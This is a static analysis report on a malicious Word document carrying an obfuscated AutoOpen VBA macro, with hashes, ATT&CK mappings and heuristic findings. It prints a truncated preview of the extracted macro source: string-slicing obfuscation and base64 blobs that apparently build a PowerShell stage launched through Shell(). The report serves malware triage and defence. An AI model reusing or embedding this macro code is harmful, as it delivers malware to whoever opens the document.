Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6197fdfd4aac96fb…

MALICIOUS

Office (OLE)

80.0 KB Created: 2017-10-23 14:59:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 4d7480b0d29ced11949e50da9b1fadc1 SHA-1: 650349ed7897abc0b3f140ba1d9588e0973696c5 SHA-256: 6197fdfd4aac96fb94ab975317384023090bda4128fc85bc1e109a535c46d516
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is configured to execute code via the Shell() function, a common technique for downloading and executing further stages of malware. ClamAV also flagged this as an obfuscated macro, increasing suspicion.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15240 bytes
SHA-256: 35579d451ed2735166c6cd2e2781cdab565f6afe3880c2f71bcdf525ee81c07f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 38 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function cnKBJSris()
phmbmt = "IDHT0ELS9KK58E15QP5Q1AK3CEh5BBGDR"
MsVncrm = Mid(phmbmt, 27, 1)
YWSQI = MsVncrm
RKDrJlb = "LS5E4KHaOtvpPNHWrnPScfnsdiwYidGzfkwiTwLpSsDhLrqpiTRRJScGwuRwSnrlmwKiPdDvbZzkcFjmnGtPMopMHriZiOWfASuPhMaBPVqjTsiqNfILtcZwGzXXuiQMDUjJKREbjszqwFtPNrLzGKlYswJjpDHlFdjzJUfwajfBcjAADHJCSRGsiKROHUmclOkVZuFtMPYZfkvJwJjhtESoWoRwDRoMH07OP4YFVP99HZVXLJ"
XiawWtQn = Mid(RKDrJlb, 8, 216)
WpaHPqKB = XiawWtQn
XEUuoFq = "8AR6WIXYNXHwauqYGKSHNPnRLTCwCQSOwURTTPiKBvirRLMsOvdTQwrfcOJsbzpwnsAFcXFqbHGSjvzAHJjGnzwAcmrEGqiEGkEZ65M8M65S"
KCUspvHzCY = Mid(XEUuoFq, 11, 90)
uSurwI = KCUspvHzCY
RzwliAInSN = "WNMO3E0OdBViQzJJKPnjJqWJUzswfbcrSIIImKolPwHXzVGqUHPMpoTXWjrFtrjBYdQHqBWzaCUKjwJwrBdYMQCdollGTirXPFzWEzzSkPlnUJnXWsOrOLpWGTYBNW"
nwcMWljiQz = Mid(RzwliAInSN, 8, 112)
ZfQFEhoY = nwcMWljiQz
dkYstaSVZwa = "YJ5K9XRHOMDE8NDFuCQOwiaJBQqDshMzPHSwoFjjwwzkdHpubSicUhKRiWfdNPvobTjvwqQoTjSCfpjuavcZCkdizAPSZGThAKJJXuvkCqJlPHlsqlCRnVmrqBwwawPMPkBVjWWjzrXMarSpOWcoDBufXSTWwzJDawViGQMTOVRvzaQwiIjDWaJNqWwODzkChTliVojwKIahkwhzBUonOFhAnInkSwPOlPNdomdtYktNAbdsoAMiLwnbmlqNBzjMsLwUk4G1"
uwzjYzTWOEF = Mid(dkYstaSVZwa, 16, 246)
zEIia = uwzjYzTWOEF
QdYiYuoRjuF = "FUBP5L6Z5P75NATRDIPruPdMUzMiuvRmjDpblrDvPrZEjUpfIHkrwrQhKPSliiGDOaMIGOHZ2H"
GzOMn = Mid(QdYiYuoRjuF, 17, 53)
pOBoN = GzOMn
NiHnv = "5M1PZznhvlaBsiEGSiTwCorBbucffvdMaWzzmNsptCDlwvdUEUiGnuCMizVmUICAHOaViETEqiCAlFFjRIaKRXYjTnVprGUkACiiUImABZPJrCaZroVMisjkpuBuiiNkJRzibXMIWZIrHOoRMvzDkICITtsZGrRXMfzZDswUcMqJjrcaGkinjJzBPrOhimCfHlfbPONUzdaYR7VWFP"
zFwVk = Mid(NiHnv, 6, 200)
KFMDX = zFwVk
jiMMzIvBTzq = "SU0LPI1VsXFNkYUEWpdQacdYdNsqLDlpWTE"
EHapVl = Mid(jiMMzIvBTzq, 8, 25)
RjZiJmp = EHapVl
GwDaJfC = "0ZZ93CS9KMQLV2H37IJNULGPqpnrJqZwjOJkRNiLnuAcqfAjlZBMwrapBttQzIoJDoKpzFQrXJU08"
jYtcHR = Mid(GwDaJfC, 22, 51)
wXiRKNs = jYtcHR
mzzijlcFZiM = "QCWVORJECG88GRHtwMFUbCqYjzKhVmLZppmIQWYSQjkVpGIhYPJXmbQOrliSazNUsokWVwcbnnEuRUjZrdIGdnnOYYRfnGrSTQcAVlLZmhkwXWwWCIbwpHqFBVwzBKO9LW4B8ENSTGA99VD"
zhtGF = Mid(mzzijlcFZiM, 16, 109)
VjwLElRkcE = zhtGF
atMRvIXfvOJ = "2I3PZN1YYQMQ5XZQiKdZKoDGkoNBooUjYURLfFqZCVLmjIKoXbviYUibwCEVqmVBcMIVOVV9IWD3"
XWTAfWmRYZK = Mid(atMRvIXfvOJ, 14, 52)
LUAkhjzSM = XWTAfWmRYZK
PQrjtllFXzL = "U2Z4TARBCYZB5E8OKUsZcRSTVIirCjwKMdRppJLCzLALrWOpCiajWRmPMShWcudvQEBqjolPGqbQQGcwupoTGOnuqBcWcoZDiFunVYJOzLcjqWwGqibnFJoCQHzfMOmSQXiLLpdWfaVulHDUCVjtNmwYQsWNYiCjYKPTonuBFFHfotQJEicqitFiZJuTSPzBYmWarkjObfnHiSkWbNJuBLBfFltisbipHFGBXqSUzOOCFzzGZYrFGDAMlrUFqCWAwwAZMizlvownzwZImnEUjdjDEuPjVMivrOG1Z3YJYEMO"
djihBbvk = Mid(PQrjtllFXzL, 19, 273)
OzTfFkwNCz = djihBbvk
HBTXE = "8MIbnSFPQjrKwvdzntsBKnwiOIfzOjbUAJDQqvRjuXPF3W6FZY0B3UMOP5Q"
BnsVzsVjIO = Mid(HBTXE, 3, 39)
bcbVETvj = BnsVzsVjIO
End Function
Function BUrcpRwqV()
CUUYMc = "VIPJAQLE0WB1JXZ384K67H2R0PUO07DMAMgB9ADgANwAtADgAMwBrADkAOQB9ADEAMQA0AEwAMQAwADUAawAxADEAMgBnADEAMQA2AHsANAA2AC0AOAAzAGsAMQAwADQATAAxADAAMQBMADEAMAA4AGsAMQAwADgALAA1ADkALAAzADYAdAAxADEAOQAtADEAMAAxAEwAOQA4AHsAOQA5AFcAMQAwADgAVwAxADAANQBfADEAMAAxAHsAMQAxADAAewAxADEANgBfADMAMgBXADYAMQAtADMAMgAsADEAMQAwAEwAMQAwADEAewAxADEAOQAtADQWPIE7G"
pXqkUinRaN = Mid(CUUYMc, 31, 298)
TEBXdIY = pXqkUinRaN
IirMA = "WBILDAMQA1AH0AOQA3AGcAMQAwADMATAAxADAAMQB9ADUAOQAtADEAMgA1AGcAMQAyADUAJwAtAHMAUABMAGkAVAAnAHQAJwAgAC0AcwBQAGwASQBUACAAJwAtACcALQBzAFAATABJAFQAIAAnA5E91D3BJ78X4ET1VL3KMU"
TsaikJzQI = Mid(IirMA, 6, 142)
nFImzoOdNS = TsaikJzQI
PNwhGvG = "IQFOISU8JFBJQA4AHQAMQAwADYAewAxADAAMQAsDZLNATDBSUKQOF2"
NOKiLH = Mid(PNwhGvG, 13, 27)
NzjZlC = NOKiLH
RfwVWKA = "ETSXG3R5ZADkAOQAtADEAMQA2AGsAMwAyAEwAOAAzAHsAMQAyADEAVwAxADEANQBfADEAMQA2AHQAMQAwADEALQAxADAAOQAtADQANgBfADcAOAAtADETAQLS09L6L2RZ9EN04KSF"
GTVAQZVrlX = Mid(RfwVWKA, 10, 107)
IfbTPC = GTVAQZVrlX
jSnkZb = "3YHLVTAD03TZWFAoACAAcwBFAHQALQBJAHQAZQBNACAAJwBWAGEAcgBpAGEAYgBsAGUAOgBPAEYAUwAnACAAIAA
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.